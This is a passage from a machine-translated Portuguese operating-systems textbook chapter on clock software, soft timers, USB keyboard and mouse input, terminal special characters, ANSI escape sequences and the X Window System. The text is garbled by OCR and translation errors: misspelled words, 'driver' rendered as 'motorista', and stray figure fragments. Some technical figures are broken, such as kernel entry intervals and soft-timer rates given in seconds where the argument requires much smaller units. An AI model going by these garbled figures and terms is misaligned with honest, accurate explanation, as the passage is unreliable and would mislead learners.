os temporizadores pendentes são mantidos, bem como uma variável que fornece o horário do próximo. 
Sempre que a hora do dia é atualizada, o motorista verifica se o sinal mais próximo está 
ocorreu. Se tiver, a tabela é pesquisada para que o próximo ocorra. 

Se muitos sinais são esperados, é mais eficiente simular múltiplos clocks 
encadeando todas as solicitações de relógio pendentes, classificadas no horário, em uma lista vinculada, como 
mostrado na Figura 5-29. Cada entrada na lista informa quantos tiques do relógio seguem o 


anterior para esperar antes de causar um sinal. Neste exemplo, os sinais estão pendentes 
para 4208, 4207, 4213, 4215 e 4216. 


Hora atual Próximo sinal 
Relógio 4200 


cabeçalho 


AE gi REE 


Figura 5-29. Simulando vários temporizadores com um único relógio. 


Na Figura 5.29, a próxima interrupção ocorre em 3 tiques. Em cada tick, o próximo sinal é 
decrementado. Quando chega a 0, o sinal correspondente ao primeiro item da lista 
é causado e esse item é removido da lista. Então o próximo sinal é definido para o 
valor na entrada agora no topo da lista, neste exemplo, 4. 

Observe que durante uma interrupção do relógio, o driver do relógio tem várias coisas para fazer— 
aumente o tempo real, diminua o quantum e verifique 0, faça a contabilização da CPU e diminua o contador 
de alarmes. No entanto, cada uma destas operações foi 
cuidadosamente organizados para serem muito rápidos porque precisam ser repetidos muitas vezes por vez. 
segundo. 

Partes do sistema operacional também precisam definir temporizadores. Eles são chamados de 
temporizadores de vigilância e são frequentemente usados (especialmente em dispositivos incorporados) para detectar 


problemas como travamentos. Por exemplo, um temporizador de vigilância pode reiniciar um sistema que 
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para de funcionar. Enquanto o sistema está em funcionamento, ele zera regularmente o cronômetro, para que 
nunca expira. Nesse caso, a expiração do temporizador prova que o sistema não 
funciona por um longo período e leva a ações corretivas, como uma reinicialização completa do sistema. 

O mecanismo usado pelo driver de relógio para lidar com temporizadores de watchdog é o mesmo 
quanto aos sinais do usuário. A única diferença é que quando um temporizador dispara, em vez de 
causando um sinal, o driver do relógio chama um procedimento fornecido pelo chamador. O procedimento faz parte 
do código do chamador. O procedimento chamado pode fazer o que for necessário, até mesmo causar uma 
interrupção, embora dentro do kernel as interrupções sejam frequentemente 
inconveniente e os sinais não existem. É por isso que o mecanismo de vigilância é fornecido. Não vale a pena que o 
mecanismo de vigilância só funcione quando o 
o driver do relógio e o procedimento a ser chamado estão no mesmo espaço de endereço. 

A última coisa em nossa lista é o perfil. Alguns sistemas operacionais fornecem um mecanismo pelo qual um 
programa de usuário pode fazer com que o sistema construa um histograma de seu comportamento. 
contador do programa, para que ele possa ver onde está gastando seu tempo. Quando o perfil é um 
possibilidade, a cada tick o driver verifica se o processo atual está sendo perfilado e, em caso afirmativo, calcula o 
número do compartimento (um intervalo de endereços) correspondente a 
o contador do programa atual. Em seguida, ele incrementa esse compartimento em um. Este mecanismo 


também pode ser usado para criar o perfil do próprio sistema. 


5.5.3 Temporizadores suaves 


A maioria dos computadores possui um segundo relógio programável que pode ser configurado para causar 
o cronômetro interrompe na velocidade que um programa precisar. Este temporizador é um acréscimo ao 
temporizador principal do sistema cujas funções foram descritas acima. Enquanto a interrupção 
Se a frequência for baixa, não há problema em usar este segundo temporizador para fins específicos da aplicação. 
O problema surge quando a frequência do aplicativo específico 
o cronômetro está muito alto. Abaixo descreveremos brevemente um esquema de temporizador baseado em software 
isso funciona bem em muitas circunstâncias, mesmo em frequências bastante altas. O 
ideia se deve a Aron e Druschel (1999). Para mais detalhes, consulte o artigo deles. 

Geralmente, existem duas maneiras de gerenciar E/S: interrupções e polling. Interrupções 
possuem baixa latência, ou seja, acontecem imediatamente após o evento em si com pouca 
ou nenhum atraso. Por outro lado, com CPUs modernas, as interrupções têm um impacto substancial 
sobrecarga devido à necessidade de troca de contexto e sua influência no pipeline, 
TLB e cache. 

A alternativa às interrupções é fazer com que a própria pesquisa do aplicativo para o evento esperado seja 
realizada. Isso evita interrupções, mas pode haver latência substancial porque 
um evento pode acontecer logo após uma votação e, nesse caso, espera quase um 
intervalo de votação. Em média, a latência é metade do intervalo de pesquisa. 

A latência de interrupção hoje é pouco melhor do que a dos computadores da década de 1970. Sobre 
na maioria dos minicomputadores, por exemplo, uma interrupção levava quatro ciclos de barramento: para empilhar o 
contador de programa e PSW e para carregar um novo contador de programa e PSW. Hoje em dia, lidar com 
pipeline, MMU, TLB e cache consome muito tempo 


para a sobrecarga. É provável que estes efeitos piorem em vez de melhorarem com o tempo, pelo que 
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cancelando taxas de clock mais rápidas. Infelizmente, para certas aplicações, queremos 
nem a sobrecarga de interrupções nem a latência da pesquisa. 
Os soft timers evitam interrupções. Em vez disso, sempre que o kernel estiver rodando por algum 
Por outro motivo, pouco antes de retornar ao modo de usuário, ele verifica o relógio em tempo real para ver 
se um temporizador suave expirou. Se tiver expirado, o evento agendado (por exemplo, transmissão de pacotes 
ou verificação de pacote recebido) é executado, sem necessidade de comutação. 
no modo kernel, pois o sistema já está lá. Após a execução do trabalho, o soft timer é redefinido para desligar 


novamente. Tudo o que precisa ser feito é copiar o 
valor do relógio atual ao temporizador e adicione o intervalo de tempo limite a ele. 


Os soft timers permanecem ou diminuem com a taxa na qual as entradas do kernel são feitas para outros 


razões. Esses motivos incluem o seguinte: 


1. Chamadas do sistema. 


2. TLBerra. 


3. Falhas de página. 
4. Interrupções de E/S. 
5. A CPU fica ociosa. 


Para ver com que frequência esses eventos acontecem, Aron e Druschel fizeram medições 
com diversas cargas de CPU, incluindo um servidor Web totalmente carregado, um servidor Web com um 
trabalho em segundo plano vinculado à computação, reprodução de áudio em tempo real da Internet e 
recompilando o kernel UNIX. A taxa média de entrada no kernel variou de 2 
a18 segğndos, com cerca de metade dessas entradas sendo chamadas de sistema. Assim, para uma primeira ordem 
aproximação, ter um temporizador suave disparando, digamos, a cada 10 segupdos é possível, embora com 
um prazo ocasionalmente perdido. Chegar 10 segundos ajrasado de vez em quando costuma ser melhor 
do que ter interrupções consumindo 35% da CPU. 

Claro, haverá períodos em que não haverá chamadas de sistema, falhas de TLB ou 
falhas de página, caso em que nenhum soft timer disparará. Para colocar um limite superior 
nesses intervalos, o segundo temporizador de hardware pode ser configurado para disparar, digamos, a cada 1 ms. 
Se o aplicativo puder conviver com apenas 1.000 ativações por segundo para ocasionais 
intervalos, então a combinação de temporizadores suaves e um temporizador de hardware de baixa frequência 


pode ser melhor do que E/S pura orientada por interrupção ou pesquisa pura. 


5.6 INTERFACES DE USUÁRIO: TECLADO, MOUSE E MONITOR 


Todo computador de uso geral possui um teclado e um monitor (e às vezes um 
mouse) para permitir que as pessoas interajam com ele. Embora o teclado e o monitor sejam 
dispositivos tecnicamente separados, eles trabalham em estreita colaboração. Em mainframes, existem 
frequentemente muitos usuários remotos, cada um com um dispositivo contendo um teclado e um 
monitor anexado como uma unidade. Esses dispositivos têm sido historicamente chamados de terminais. 
As pessoas ainda usam esse termo com frequência, mesmo quando discutem computadores pessoais. 


teclados e monitores (principalmente por falta de um termo melhor). 


Machine Translated by Google 


396 ENTRADA/SAÍDA INDIVÍDUO. 5 


5.6.1 Software de entrada 


A entrada do usuário vem principalmente do teclado e do mouse (ou às vezes de telas sensíveis ao 
toque), então vamos dar uma olhada neles. Em um computador pessoal, o teclado contém um 
microprocessador embutido que geralmente faz interface com a placa-mãe através de uma porta USB (ou 
Bluetooth). Antigamente, com teclados conectados via portas seriais, uma interrupção era gerada sempre 
que uma tecla era pressionada e uma segunda sempre que uma tecla era liberada. A cada uma dessas 
interrupções do teclado, o driver do teclado extrairia as informações sobre o que aconteceu. 


Os teclados USB funcionam de maneira um pouco diferente e usam a chamada transferência de 
interrupção para lidar com as teclas digitadas. Apesar do nome, uma transferência de interrupção não é 
nada parecida com uma interrupção normal. Para entender por quê, devemos nos aprofundar um pouco 
mais na comunicação USB. 

Os dispositivos USB se comunicam com um controlador host USB, normalmente localizado na placa- 
mãe, usando canais de comunicação lógica conhecidos como pipes. Cada controlador host é responsável 
por uma ou mais portas USB e pode haver vários canais entre o controlador e um dispositivo. Além de 
canais de mensagens que são bidirecionais e usados para mensagens de controle (como comandos 
simples que o controlador host envia ao dispositivo ou relatórios de status do dispositivo para o controlador 
host), o USB oferece tubos de fluxo, que são canais de dados unidirecionais . Stream pipes podem ser 
usados para diferentes tipos de transferência, como transferências isócronas (que têm largura de banda 
fixa), transferências em massa (transferências esporádicas, mas grandes, que usam toda a largura de banda 
que podem obter, mas não oferecem garantias) e transferências de interrupção. mencionamos anteriormente. 
Ao contrário dos outros tipos, as transferências de interrupção garantem um limite superior na latência da 
transferência de dados entre o dispositivo e o controlador host. 


No USB, o controlador host inicia a transferência de interrupção. Assim, embora o dispositivo possa 
disponibilizar dados sempre que ocorre um evento, a transferência não começa até que o host solicite 
explicitamente os dados. Então, como o USB garante o limite de latência? Simples. O controlador host 
promete pesquisar dados de transferência de interrupção dentro de um intervalo periódico específico. A 
duração do intervalo pode ser especificada pelo dispositivo dentro dos limites determinados pelo tipo de 
barramento USB. Por exemplo, para um barramento USB 2.0, o dispositivo pode especificar intervalos de 
pesquisa em múltiplos de 125 microssegundos entre 125 microssegundos e 4 segundos. 


Na transferência de interrupção (ou seja, quando pesquisado), o teclado USB enviará um relatório ao 
controlador contendo informações sobre eventos de teclas, como pressionamentos de teclas ou liberações 
de teclas. O relatório possui formato bem definido e possui até 8 bytes de comprimento, onde o primeiro 
byte contém informações sobre a posição das teclas modificadoras (como as teclas shift, alt e control), o 
segundo byte é reservado e o os seis bytes restantes podem conter o scancode de uma tecla que foi 
pressionada. Em outras palavras, um único relatório pode informar ao controlador toda a sequência de 
chaves. 

Um exemplo é mostrado na Figura 5-30. Quando o usuário pressiona "H" (sem nenhum modificador), o 
terceiro byte contém o scancode para aquela chave (o valor hexadecimal 
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0x0b). Nenhuma outra tecla é pressionada, portanto todos os outros bytes são zero. Em seguida, o usuário pressiona 
outra chave sem soltar a primeira. Agora o teclado envia um relatório com dois 

códigos de varredura. Quando o usuário libera posteriormente uma das chaves, esse valor é 

zerado. Além disso, o próximo scancode muda para a esquerda. Na verdade, a ordem do 

bytes indica a ordem em que o usuário pressionou as teclas. Assim, se o usuário 

pressiona "O" no Passo 5, o relatório do teclado indica não apenas quais teclas estão pressionadas no 
momento, mas também que "H" foi pressionado primeiro, depois "B" e finalmente "O". Em 

em outras palavras, os bytes mais à esquerda correspondem às teclas que foram pressionadas 
anteriormente e os mais à direita correspondem às teclas pressionadas posteriormente. 


| Evento-chave Relatório Comente 
1 Pressione (apenas) "H" 00 00 Ob 00 00 00 00 00 Scancade para "H" é 0x0b 
2 Pfessione "J" sem soltar "H" 00 00 0b Od 00 00 00 00 Scancade para "J" é 0x0d 


3 Pfessione "B" sem soltar "HJ" 00 00 Ob 0d 05 00 00 00 Scancode para "B" é 0x05 


4 Splte "J", ainda pressionando "HB" 00 00 Ob 05 00 00 00 00 Sem pre$sionar é 0x00 


5 Pfessione "O" sem soltar "HB" 00 00 Ob 05 12 00 00 00 Scancode para "O" é 0x12 


Figura 5-30. Relatórios enviados por um teclado USB quando um usuário pressiona e solta 
chaves diferentes. Os pressionamentos de tecla anteriores são codificados pelos bytes à esquerda. 


Até agora, descrevemos algo chamado transferência de interrupção, mas descobrimos que 
falou apenas sobre pesquisas. Onde estão as interrupções? Lembre-se que a transferência 
descrito até agora ocorreu entre o dispositivo USB (o teclado) e o controlador host. Depois de receber 
completamente o relatório, o controlador host pode agora gerar 
a interrupção para contar à CPU as boas notícias sobre o pressionamento de teclas. Em cada um desses 
interrupções do teclado, o driver do teclado extrai as informações sobre o que aconteceu. A partir daí, 
tudo acontece em software e é praticamente independente do hardware. 


A maior parte do restante desta seção pode ser melhor compreendida quando se pensa em digitar 
comandos para uma janela shell (interface de linha de comando). É assim que os programadores 
normalmente funcionam. Discutiremos interfaces gráficas mais tarde. Alguns dispositivos, em particular 
telas sensíveis ao toque, são usados para entrada e saída. Fizemos uma (arbitrária) 
escolha discuti-los na seção sobre dispositivos de saída. Discutiremos gráficos 
interfaces mais adiante neste capítulo. 


Software de teclado 


Os números nos relatórios representam os números-chave, chamados de códigos de varredura, 
não o código ASCII. Quando a tecla A é pressionada, por exemplo, o código de leitura (4) é 
colocar no relatório. Cabe ao motorista determinar se está em minúsculas, maiúsculas, 
CTRL-A, ALT-A, CTRL-ALT-A ou alguma outra combinação. Por exemplo, o 
driver pode verificar o primeiro byte (modificador) no relatório para ver se o SHIFT, CTRL, 


ou as teclas ALT foram pressionadas. 
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Duas filosofias possíveis podem ser adotadas para o motorista. No primeiro, o trabalho do driver é 
apenas aceitar a entrada e passá-la para cima sem modificação. Uma leitura de programa no teclado 
obtém uma sequência bruta de códigos ASCII. (Fornecer aos programas de usuário os códigos de 
varredura é muito primitivo, além de ser altamente dependente do teclado.) 

Esta filosofia é adequada às necessidades de editores de tela sofisticados como o Emacs, que 
permitem ao usuário vincular uma ação arbitrária a qualquer caractere ou sequência de caracteres. No 
entanto, isso significa que se o usuário digitar dste em vez de data e depois corrigir o erro digitando três 
backspaces e ate, seguido por um retorno de carro, o programa do usuário receberá todos os 11 códigos 
ASCII digitados, como segue: 


dste comi CR 


Nem todos os programas desejam tantos detalhes. Muitas vezes eles querem apenas a informação 
corrigida, não a sequência exata de como ela foi produzida. Esta observação leva à segunda filosofia: o 
driver cuida de toda a edição intralinha e apenas entrega as linhas corrigidas aos programas do usuário. 
A primeira filosofia é orientada para o caráter; o segundo é orientado por linha. Originalmente eles eram 
chamados de modo cru e modo cozido, respectivamente. O padrão POSIX usa o termo menos 
pitoresco modo canônico para descrever o modo orientado a linha. O modo não canônico é 
equivalente ao modo bruto, embora muitos detalhes do comportamento possam ser alterados. Os 
sistemas compatíveis com POSIX fornecem diversas funções de biblioteca que suportam a seleção de 
qualquer modo e a alteração de muitos parâmetros. 


Se o teclado estiver no modo canônico (cozido), os caracteres deverão ser armazenados até que 
uma linha inteira seja acumulada, pois o usuário poderá posteriormente decidir apagar parte dela. 
Mesmo que o teclado esteja no modo bruto, o programa pode ainda não ter solicitado a entrada, 
portanto, os caracteres devem ser armazenados em buffer para permitir a digitação antecipada. Um 
buffer dedicado pode ser usado ou buffers podem ser alocados de um pool. O primeiro coloca um limite 
fixo na digitação antecipada; o último não. Esse problema surge de forma mais aguda quando o usuário 
está digitando em uma janela do shell (também conhecida como janela de linha de comando) e acaba 
de emitir um comando (como uma compilação) que ainda não foi concluído. 

Os caracteres subsequentes digitados devem ser armazenados em buffer porque o shell não está pronto 
para lê-los. Os projetistas de sistemas que não permitem que os usuários digitem com muita antecedência 
deveriam ser prejudicados ou, pior ainda, forçados a usar seu próprio sistema. 

Embora o teclado e o monitor sejam dispositivos logicamente separados, muitos usuários se 
acostumaram a ver os caracteres que acabaram de digitar aparecerem na tela. Este processo é 
chamado de eco. 

O eco é complicado pelo fato de que um programa pode estar gravando na tela enquanto o usuário 
digita (novamente, pense em digitar em uma janela do shell). No mínimo, o driver do teclado precisa 
descobrir onde colocar a nova entrada sem que ela seja substituída pela saída do programa. 


O eco também fica complicado quando mais de 80 caracteres precisam ser exibidos em uma 
janela com linhas de 80 caracteres (ou algum outro número). Dependendo da aplicação, passar para a 
próxima linha pode ser apropriado. No entanto, 
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alguns drivers simplesmente truncam as linhas para 80 caracteres, jogando fora todos os caracteres 
além da coluna 80. 

Outro problema é o manuseio de guias. Geralmente cabe ao motorista calcular 
onde o cursor está localizado atualmente, levando em consideração a saída dos programas e a saída do 
eco, e calcule o número adequado de espaços a serem 
ecoou. 

Agora chegamos ao problema da equivalência de dispositivos. Logicamente, no final de um 
linha de texto, deseja-se um retorno de carro, para mover o cursor de volta para a coluna 1, e 
um avanço de linha, para avançar para a próxima linha. Exigir que os usuários digitem ambos no final de 
cada linha não venderia bem. Cabe ao driver do dispositivo converter o que for 
entra no formato usado pelo sistema operacional. No UNIX, a tecla Enter é 
convertido em alimentação de linha para armazenamento interno; no Windows, ele é convertido em um 
retorno de carro seguido por um avanço de linha. 

Se o formulário padrão serve apenas para armazenar um avanço de linha (a convenção UNIX), então 
retornos de carro (criados pela tecla Enter) devem ser transformados em avanços de linha. Se o 
formato interno é armazenar ambos (a convenção do Windows), então o driver deve 
gerar um avanço de linha quando obtiver um retorno de carro e um retorno de carro quando obtiver 
uma alimentação de linha. Não importa qual seja a convenção interna, o monitor pode exigir ambos 
um avanço de linha e um retorno de carro serão repetidos para atualizar a tela 
apropriadamente. Em um sistema multiusuário como um mainframe, diferentes usuários podem ter 
diferentes tipos de terminais conectados a ele e cabe ao driver do teclado obter 
todas as diferentes combinações de retorno de carro/alimentação de linha convertidas para o interno 
padrão do sistema e providencie para que todos os ecos sejam feitos corretamente. 

Ao operar no modo canônico, alguns dos caracteres de entrada possuem caracteres especiais. 
significados. A Figura 5-31 mostra todos os caracteres especiais exigidos pelo POSIX 
padrão. Os padrões são todos caracteres de controle que não devem entrar em conflito com o texto 
entrada ou códigos usados pelos programas; todos, exceto os dois últimos, podem ser alterados sob 
controle do programa. 


Nome POSIX dg caractere Comente 

CTRL-H APAGAR Retroceder um caractere 

CTRL-U MATAR Apagar toda a linha que está sendo digitada 
CTRL-V LPRÓXIMO Interprete o próximo caractere literalmente 
CTRL-S PARAR Parar saída 

CTRL-Q COMEÇAR Saída inicial 

DEL INTR Processo de interrupção (SIGINT) 
CTRLA DESISTIR Forçar dump principal (SIGQUIT) 
CTRL-D EOF Fim do arquivo 

CTRL-M CR Retorno de transporte (inalterável) 
CTRL-J Holanda Alimentação de linha (inalterável) 


Figura 5-31. Caracteres que são tratados especialmente no modo canônico. 
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O caractere ERASE permite ao usuário apagar o caractere que acabou de digitar. Geralmente 
é o backspace (CTRL-H). Ele não é adicionado à fila de caracteres, mas remove o caractere anterior 
da fila. Deve ser repetido como uma sequência de três caracteres, backspace, espaço e backspace, 
para remover o caracter anterior da tela. Se o caractere anterior era uma tabulação, apagá-lo 
depende de como foi processado quando foi digitado. Se for imediatamente expandido para 
espaços, algumas informações extras serão necessárias para determinar até que ponto fazer 
backup. Se a própria guia estiver armazenada na fila de entrada, ela poderá ser removida e a linha 
inteira será exibida novamente. Na maioria dos sistemas, o retrocesso apagará apenas os caracteres 
da linha atual. Isso não apagará um retorno de carro e retornará à linha anterior. 


Quando o usuário percebe um erro no início da linha digitada, muitas vezes é conveniente 
apagar a linha inteira e começar novamente. O caractere KILL apaga toda a linha. A maioria dos 
sistemas faz com que a linha apagada desapareça da tela, mas alguns sistemas mais antigos a 
ecoam, além de um retorno de carro e alimentação de linha, porque alguns usuários gostam de ver 
a linha antiga. Consequentemente, como ecoar KILL é uma questão de gosto. Tal como acontece 
com ERASE, normalmente não é possível retroceder mais do que a linha atual. Quando um bloco 
de caracteres é eliminado, pode ou não valer a pena para o driver retornar buffers ao pool, se algum 
for usado. 

Às vezes, os caracteres ERASE ou KILL devem ser inseridos como dados comuns. 

O caractere LNEXT serve como caractere de escape. No UNIX CTRL-V é o padrão. Por exemplo, 
os sistemas UNIX mais antigos costumavam usar o sinal @ para KILL, mas o sistema de correio da 
Internet usa endereços no formato lindaGdcs.washington.edu. 

Alguém que se sente mais confortável com convenções mais antigas pode redefinir KILL como O, 
mas então precisa inserir um sinal @ literalmente para endereçar e-mail. Isso pode ser feito 
digitando CTRL-V @. O próprio CTRL-V pode ser inserido literalmente digitando CTRL-V duas 
vezes consecutivas. Depois de ver um CTRL-V, o driver define um sinalizador informando que o 
próximo caractere está isento de processamento especial. O caractere LNEXT em si não é inserido 
na fila de caracteres. 

Para permitir que os usuários impeçam que uma imagem da tela saia do campo de visão, são 
fornecidos códigos de controle para congelar a tela e reiniciá-la mais tarde. No UNIX são STOP, 
(CTRL-S) e START, (CTRL-Q), respectivamente. Eles não são armazenados, mas são usados para 
definir e limpar um sinalizador na estrutura de dados do teclado. Sempre que a saída é tentada, o 
sinalizador é inspecionado. Se estiver definido, nenhuma saída ocorre. Normalmente, o eco 
também é suprimido junto com a saída do programa. 

Frequentemente, é necessário encerrar um programa descontrolado que está sendo depurado. 
Os caracteres INTR (DEL) e QUIT (CTRL+) podem ser usados para esta finalidade. No UNIX, DEL 
envia o sinal SIGINT para todos os processos iniciados a partir desse teclado. 

Implementar DEL pode ser bastante complicado porque o UNIX foi projetado desde o início para 
lidar com vários usuários ao mesmo tempo. Assim, no caso geral, pode haver muitos processos em 
execução em nome de muitos usuários, e a chave DEL deve sinalizar apenas os processos do 
próprio usuário. O difícil é levar a informação do motorista até a parte do sistema que trata os sinais, 
que, afinal, não solicitou essa informação. 
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CTRLA é semelhante a DEL, exceto que envia o sinal SIGQUIT, que força um core dump se não 
for capturado ou ignorado. Quando qualquer uma dessas teclas é pressionada, o driver deve repetir 
um retorno de carro e alimentação de linha e descartar todas as entradas acumuladas para permitir um 
novo começo. O valor padrão para INTR geralmente é CTRL-C em vez de DEL, já que muitos 
programas usam DEL de forma intercambiável com backspace para edição. 


Outro caractere especial é EOF (CTRL-D), que no UNIX faz com que qualquer solicitação de 
leitura pendente para o terminal seja satisfeita com o que estiver disponível no buffer, mesmo que o 
buffer esteja vazio. Digitar CTRL-D no início de uma linha faz com que o programa obtenha uma leitura 
de O bytes, o que é convencionalmente interpretado como fim de arquivo e faz com que a maioria dos 
programas aja da mesma maneira que faria ao ver o fim do arquivo em um arquivo de entrada. 


Software de mouse 


A maioria dos PCs desktop tem um mouse, ou às vezes um trackball, que é apenas um mouse 
deitado de costas. Os notebooks geralmente possuem um trackpad, mas algumas pessoas usam um 
mouse com eles. Sempre que um mouse se move uma certa distância mínima em qualquer direção 
ou um botão é pressionado ou liberado, uma mensagem é enviada ao computador. A distância mínima 
é de cerca de 0,1 mm (embora possa ser definida no software). Algumas pessoas chamam esta 
unidade de Mickey. Os ratos (ou ocasionalmente mouses) podem ter um, dois ou três botões, 
dependendo da estimativa dos designers sobre a capacidade intelectual dos usuários de controlar 
mais de um botão. Alguns mouses possuem rodas que podem enviar dados adicionais de volta ao 
computador. Os mouses sem fio são iguais aos mouses com fio, exceto que, em vez de enviar seus 
dados de volta ao computador por meio de um fio, eles usam rádios de baixa potência, por exemplo, 
usando o padrão Bluetooth . 

A mensagem para o computador contém três itens: botões x, y. O primeiro item é a mudança na 
posição x desde a última mensagem. Depois vem a mudança na posição y desde a última mensagem. 
Finalmente, o status dos botões está incluído. O formato da mensagem depende do sistema e da 
quantidade de botões que o mouse possui. Normalmente, são necessários 3 bytes. A maioria dos ratos 
reporta no máximo 40 vezes/seg, então o mouse pode ter movido vários mickeys desde o último 
relatório. 

Observe que o mouse indica apenas mudanças de posição, não de posição absoluta 
em si. Se o mouse for levantado e pousado com cuidado, nenhuma mensagem será enviada. 

Muitas GUlIs distinguem entre cliques únicos e cliques duplos de um botão do mouse. Se dois 
cliques estiverem próximos o suficiente no espaço (mickeys) e também próximos o suficiente no tempo 
(milissegundos), um clique duplo será sinalizado. O máximo para “próximo o suficiente” depende do 
software, sendo que ambos os parâmetros geralmente podem ser configurados pelo usuário. 


Trackpads 
Os notebooks geralmente são equipados com um trackpad (também chamado de touchpad) 


para mover o cursor pela tela. Os trackpads geralmente também possuem botões nas bordas, que são 
usados como botões do mouse. Alguns trackpads 
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não têm botões, mas pressionar o trackpad com força funciona como pressionar um botão. 
Os Apple MacBooks funcionam dessa maneira. 

Existem dois tipos de trackpads de uso comum. O primeiro usa detecção condutiva. Com esses 
dispositivos há uma série de fios paralelos muito finos que vão da borda frontal do dispositivo em 
direção à tela. Abaixo está uma camada isolante. 

Abaixo dele está outro conjunto de fios muito finos perpendiculares ao outro conjunto, da esquerda 
para a direita. Em alguns dispositivos as camadas são invertidas. 

Quando o usuário pressiona o trackpad, o espaço entre eles fica menor, permitindo que a 
eletricidade flua no ponto de contato. O hardware do trackpad pode detectar isso e passar as 
coordenadas onde o contato é feito para o driver do dispositivo. 

O outro tipo de trackpad usa capacitância. Esse tipo é mais comum em notebooks modernos. 
Neste sistema, minúsculos capacitores estão constantemente carregando e descarregando. Quando 
um dedo toca a superfície, a capacitância aumenta localmente no ponto onde o dedo está e o 
hardware envia as coordenadas para o driver. 

Para esse tipo de trackpad, pressioná-lo com lápis, caneta, borracha ou pedaço de plástico não tem 
efeito porque esses objetos não possuem capacitância, como o corpo humano. Portanto, se quiser 
escrever em todo o trackpad com uma caneta, você pode (embora não recomendamos), mas isso 
não moverá o cursor. Como exercício de casa, experimente lamber o trackpad. Deve mover o cursor 
porque as línguas têm capacitância. 


As telas sensíveis ao toque usadas em smartphones são semelhantes aos trackpads. Iremos 
discuti-los mais adiante neste capítulo. 


5.6.2 Software de saída 


Agora vamos considerar o software de saída. Primeiro veremos uma saída simples para uma 
janela de texto, que é o que os programadores normalmente preferem usar. Em seguida, 
consideraremos interfaces gráficas de usuário, que outros usuários geralmente preferem. 


Janelas de texto 


A saída é mais simples do que a entrada quando a saída é sequencialmente em uma única 
fonte, tamanho e cor. Na maior parte, o programa envia caracteres para a janela atual e eles são 
exibidos lá. Normalmente, um bloco de caracteres, por exemplo, uma linha, é escrito em uma 
chamada de sistema. 

Editores de tela e muitos outros programas sofisticados precisam ser capazes de atualizar a tela 
de maneiras complexas, como substituir uma linha no meio da tela. Para atender a essa necessidade, 
a maioria dos drivers de saída suporta uma série de comandos para mover o cursor, inserir e excluir 
caracteres ou linhas no cursor e assim por diante. Esses comandos são frequentemente chamados 
de sequências de escape. No apogeu do terminal simples de texto 25 x 80 ASCII, havia centenas 
de tipos de terminal, cada um 
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com suas próprias sequências de escape. Como consequência, era difícil escrever software 
que funcionou em mais de um tipo de terminal. 
Uma solução, introduzida no Berkeley UNIX, foi um banco de dados de terminal chamado termcap. 
Este pacote de software definiu uma série de ações básicas, 
como mover o cursor para (linha, coluna). Para mover o cursor para um determinado 
localização, o software, digamos, um editor, usou uma sequência de escape genérica que foi 
em seguida, convertido para a sequência de escape real do terminal no qual está sendo gravado. Em 
desta forma, o editor funcionava em qualquer terminal que possuísse uma entrada na base de dados 
termcap. Muitos softwares UNIX ainda funcionam dessa maneira, mesmo em computadores pessoais. 
Eventualmente, a indústria viu a necessidade de padronizar a sequência de fuga, então 
um padrão ANSI foi desenvolvido. Alguns dos valores são mostrados na Figura 5-32. 


Sequência de fuga Significado 

ESC [nA Subir n linhas 

ESC [nB Descer n linhas 

ESC [nC Mover para a direita n espaços 

ESC [nD Mover para a esquerda n espaços 

ESC [m;n H Mova o cursor para (m,n) 

ESC [sJ Limpar tela do cursor (0 até o final, 1 desde o início, 2 todos) 
ESC [s K Limpar linha do cursor (0 até o final, 1 desde o início, 2 no total) 
ESC [nL Inserir linhas tn no cursor 

ESC [nM Exclua n linhas no cursor 

ESC [nP Exclua n caracteres no cursor 

ESC nO Inserir caracteres tn no cursor 

ESC [nm Habilitar renderização n (0 = normal, 4 = negrito, 5 = piscando, 7 = reverso) 
ESCM Role a tela para trás se o cursor estiver na linha superior 


Figura 5-32. As sequências de escape ANSI aceitas pelo driver do terminal na saída. ESC 
denota o caractere de escape ASCII (0x1B) en, me s são parâmetros numéricos opcionais. 


Considere como essas sequências de escape podem ser usadas por um editor de texto. Suponha 
que o usuário digite um comando dizendo ao editor para excluir toda a linha 3 e então 
feche a lacuna entre as linhas 2 e 4. O editor pode enviar o seguinte 
sequência de escape pela linha serial até o terminal: 


ESC[3; 1 H ESC [0 K ESC [1M 


(onde os espaços acima são usados apenas para separar os símbolos; eles não são transmitidos). Esta 
sequência move o cursor para o início da linha 3, apaga a linha inteira, 

e então exclui a linha agora vazia, fazendo com que todas as linhas começando em 5 subam 

uma linha. Então o que era a linha 4 se torna a linha 3; o que era a linha 5 se torna a linha 4, 

e assim por diante. Sequências de escape análogas podem ser usadas para adicionar texto no meio do 


mostrar. As palavras podem ser adicionadas ou removidas de maneira semelhante. 
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O sistema X Window 


Quase todos os sistemas UNIX baseiam sua interface de usuário no X Window System 
(geralmente chamado apenas de X), desenvolvido no MIT como parte do projeto Athena na década 
de 1980. É muito portátil e funciona inteiramente no espaço do usuário. Ele foi originalmente 
planejado para conectar um grande número de terminais de usuários remotos a um servidor de 
computação central, de modo que é logicamente dividido em software cliente e software host, que 
pode potencialmente ser executado em computadores diferentes. Nos computadores pessoais 
modernos, ambas as partes podem funcionar na mesma máquina. Em sistemas Linux, os populares 
ambientes de desktop Gnome e KDE são executados sobre X. 

Quando o X está sendo executado em uma máquina, o software que coleta a entrada do teclado 
e do mouse e grava a saída na tela é chamado de servidor X. Ele precisa controlar qual janela está 
selecionada no momento (onde está o ponteiro do mouse), para saber para qual cliente enviar 
qualquer nova entrada do teclado. Ele se comunica com programas em execução (geralmente em 
uma rede) chamados clientes X. Ele envia entradas de teclado e mouse e aceita comandos de 
exibição deles. 

Pode parecer estranho que o servidor X esteja sempre dentro do computador do usuário 
enquanto o cliente X pode estar desligado em um servidor de computação remoto, mas pense na 
tarefa principal do servidor X: exibir bits na tela, então faz sentido estar próximo o usuário. Do ponto 
de vista do programa, é um cliente dizendo ao servidor para fazer coisas, como exibir texto e figuras 
geométricas. O servidor (no PC local) apenas faz o que lhe é mandado, assim como todos os 
servidores. 

A disposição do cliente e do servidor é mostrada na Figura 5.33 para o caso em que o cliente X 
e o servidor X estão em máquinas diferentes. Mas ao executar o Gnome ou o KDE em uma única 
máquina, o cliente é apenas um programa aplicativo usando a biblioteca X conversando com o 
servidor X na mesma máquina (mas usando uma conexão TCP sobre soquetes, o mesmo que faria 
no caso remoto ). 

A razão pela qual é possível executar o X Window System sobre UNIX (ou outro sistema 
operacional) em uma única máquina ou em uma rede é que o que X realmente define é o protocolo X 
entre o cliente X e o servidor X, como mostrado na Figura 5-33. Não importa se o cliente e o servidor 
estão na mesma máquina, separados por 100 metros em uma rede local, ou se estão a milhares de 
quilômetros de distância e conectados pela Internet. O protocolo e a operação do sistema são idênticos 
em todos os casos. 


X é apenas um sistema de janelas. Não é uma GUI completa. Para obter uma GUI completa, 
